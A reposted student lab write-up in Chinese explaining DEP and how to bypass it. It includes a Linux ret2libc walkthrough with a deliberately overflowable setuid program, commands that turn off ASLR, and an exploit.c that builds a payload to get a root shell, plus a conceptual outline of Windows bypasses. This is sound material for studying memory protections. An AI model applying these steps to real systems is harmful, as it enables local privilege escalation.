20155306 白皎 0day漏洞——漏洞利用原理之DEP


20155306 白皎 0day漏洞——漏洞利用原理之DEP

一、DEP機制的保護原理

1.為什么出現DEP?

溢出攻擊的根源在於現代計算機對數據和代碼沒有明確區分這一先天缺陷,就目前來看重新去設計計算機體系結構基本上是不可能的,我們只能靠向前兼容的修補來減少溢出帶來的損害,DEP(數據執行保護,Data Execution Prevention)就是用來彌補計算機對數據和代碼混淆這一天然缺陷的。

2.DEP是什么?

DEP-數據執行保護的縮寫,DataExecutionPrevention。能夠在內存上執行額外檢查以幫助防止在系統上運行惡意代碼。

2.DEP工作原理是什么?

DEP的基本原理是將數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。DEP 的主要作用是阻止數據頁(如默認的堆頁、各種堆棧頁以及內存池頁)執行代碼。

二、利用Ret2Lib繞過DEP

- Linux下利用Ret2Libc繞過DEP

原理分析

系統庫函數通常是不受DEP保護的,所以通過將返回地址指向系統函數可以繞過DEP保護,所以可以通過調研系統函數system()獲得shell。system函數是通過/bin/sh命令去執行一個用戶執行命令或者腳本,因此,我們完全可以利用system來實現Shellcode的功能。

return-into-libc原理
攻擊者能夠通過緩沖區溢出改寫返回地址為一個庫函數的地址,並且將此庫函數執行時的參數也重新寫入棧中。這樣當函數調用時獲取的是攻擊者設定好的參數值,並且結束后返回時就會返回到庫函數而不是 main()。而此庫函數實際上就幫助攻擊者執行了其惡意行為。

攻擊步驟

1.輸入命令安裝一些用於編譯 32 位 C 程序的東西。

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev


2.輸入命令“linux32”進入 32 位 linux 環境。輸入“/bin/bash”使用 bash。
關閉地址空間隨機化,不能隨機堆(heap)和棧(stack)的初始地址。以及設置堆棧不可執行

gcc -z noexecstack -o test test.c  //棧不可執行

sudo sysctl -w kernel.randomize_va_space=0 //關閉地址隨機化



3.添加一個新用戶,可以參考教程:linux中新建一個用戶

4.即使你能欺騙一個 Set-UID 程序調用一個 shell,也不能在這個 shell 中保持 root 權限,這個防護措施在/bin/bash 中實現。
linux 系統中,/bin/sh 實際是指向/bin/bash 或/bin/dash 的一個符號鏈接。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何設置 zsh 程序。

5.把以下漏洞代碼保存為“retlib.c”文件,保存到 /tmp 目錄下,並進行編譯,設置。代碼如下:


include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}


6.編譯上述程序編譯該程序,並設置 SET-UID。

sudo su//獲取root權限

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//設置棧不可執行

chmod u+s retlib //給retlib程序的所有者以suid權限,可以像root用戶一樣操作

exit

7.此外,我們還需要用到一個讀取環境變量的程序,並通過 gcc -m32 -o getenvaddr getenvaddr.c進行編譯。

include <stdio.h>
include <stdlib.h>
include <string.h>

int main(int argc, char const *argv[])
{
 char *ptr;

 if(argc < 3){
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
    }
 ptr = getenv(argv[1]);
 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
 printf("%s will be at %p\n", argv[1], ptr);
 return 0;
}


8.獲得 BIN_SH 地址

export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic

9.以下代碼為攻擊程序,保存為“exploit.c”文件,保存到 /tmp 目錄下。

include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");

 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times

 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}


10.獲取 system 和 exit 地址

gcc -m32 -g -o exploit exploit.c//編譯
gdb -q ./exploit//調試
b 10//設置斷點
run//運行到斷點處
p system//獲取system地址
p exit//獲取exit地址


11.修改 exploit.c 文件,填上剛才找到的內存地址。刪除剛才調試編譯的 exploit 程序和 badfile 文件,重新編譯修改后的 exploit.c。

12.首先運行攻擊程序,生成badfile文件,載運行漏洞程序,可以看到攻擊成功,獲得root權限。

問題

1.在編譯retlib程序時,出現如下錯誤:bits/libs-header-start.h沒有那個文件或目錄

解決:下載sudo apt-get install lib32readline-gplv2-dev軟件包,即可解決

- Windows下繞過DEP

突破思路:
既然DEP不允許直接執行,我們可以在其他可執行位置為shellcode中的溢出部分找到替代指令(shellcode中0x90用於填充),進而使被覆蓋的函數返回地址執行我們預定的指令,來關閉DEP或者對內存空間做一些新操作,就可以完成exploit了。(每一條指令都有一個ret,以便回收程序控制權),如下圖:

在做實驗之前,首先我們要明確實驗環境。DEP有四種狀態:

  • OptIn(選擇啟用,默認值):系統的默認設置是 OptIn 模式,在該設置下,僅為基本 Windows 程序和服務器用 DEP。
  • OptOut(選擇禁用):如果在該對話框中選擇,“為除下列程序之外的所有程序和服務啟用”,則會將 DEP 設置為 OptOut 模式,在該模式下,DEP 提供了更廣的保護范圍。但同時也意味着增加了不兼容性的可能,因此,系統在提供了一個白名單列表,可以把產生沖突的程序(一般為系統級的程序、驅動等)添加到列表中,為這些程序關閉 DEP。
  • AlwaysOn:對所有進程啟用DEP 的保護,不存在排序列表,在這種模式下,DEP不可以被關閉,目前只有在64位的操作系統上才工作在AlwaysOn模式。
  • AlwaysOff:對所有進程都禁用DEP,這種模式下,DEP也不能被動態開啟,這種模式一般只有在某種特定場合才使用,如DEP干擾到程序的正常運行。

在這里,我們需要開啟DEP,設置為optout模式。

三種有效繞過DEP的exploit的方法

  • 通過跳轉到ZwSetInformationProcess函數將DEP關閉后再轉入shellcode執行。

一個進程的DEP設置標識保存在KPROCESS結構中的_KEXECUTE_OPTIONS上,而這個標識可以通過API函數ZwQueryInformationProcess 和 ZwSetInformationProcess 進行查詢和修改。
我們只要構造一個符合函數結構體的棧幀,利用系統中已存在的關閉進程DEP的調用,構造參數來調用函數即可。

  • 通過跳轉到VirtualProtect函數來將shellcode所在內存頁設置為可執行狀態,然后再轉入shellcode執行。

對所有程序默認開啟DEP的情況下,如果一個程序自身偶爾需要從堆棧中取指令,就會發生錯誤。
函數VirtualProtect提供了修改內存屬性的功能。只要我們在棧幀中布置好合適的參數,並讓程序轉入該函數執行,我們就可以將shellcode所在內存設置為可執行狀態,從而繞過DEP。

  • 通過跳轉到VIrtualAlloc函數開辟一段具有執行權限的內存空間,然后將shellcode復制到這段內存中執行。

函數VirtualAlloc可以用來申請一段具有可執行屬性的內存。我們將Ret2Libc的第一條設置為該函數地址,然后將shellcode代碼復制到申請的空間之中既可以繞過DEP。

參考文獻:
[1]王清.《0day安全:軟件漏洞分析技術》[M].中國:電子工業出版社,2008.
[2]王清.《0day安全:軟件漏洞分析技術(第2版)》[M].中國:電子工業出版社,2011.


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM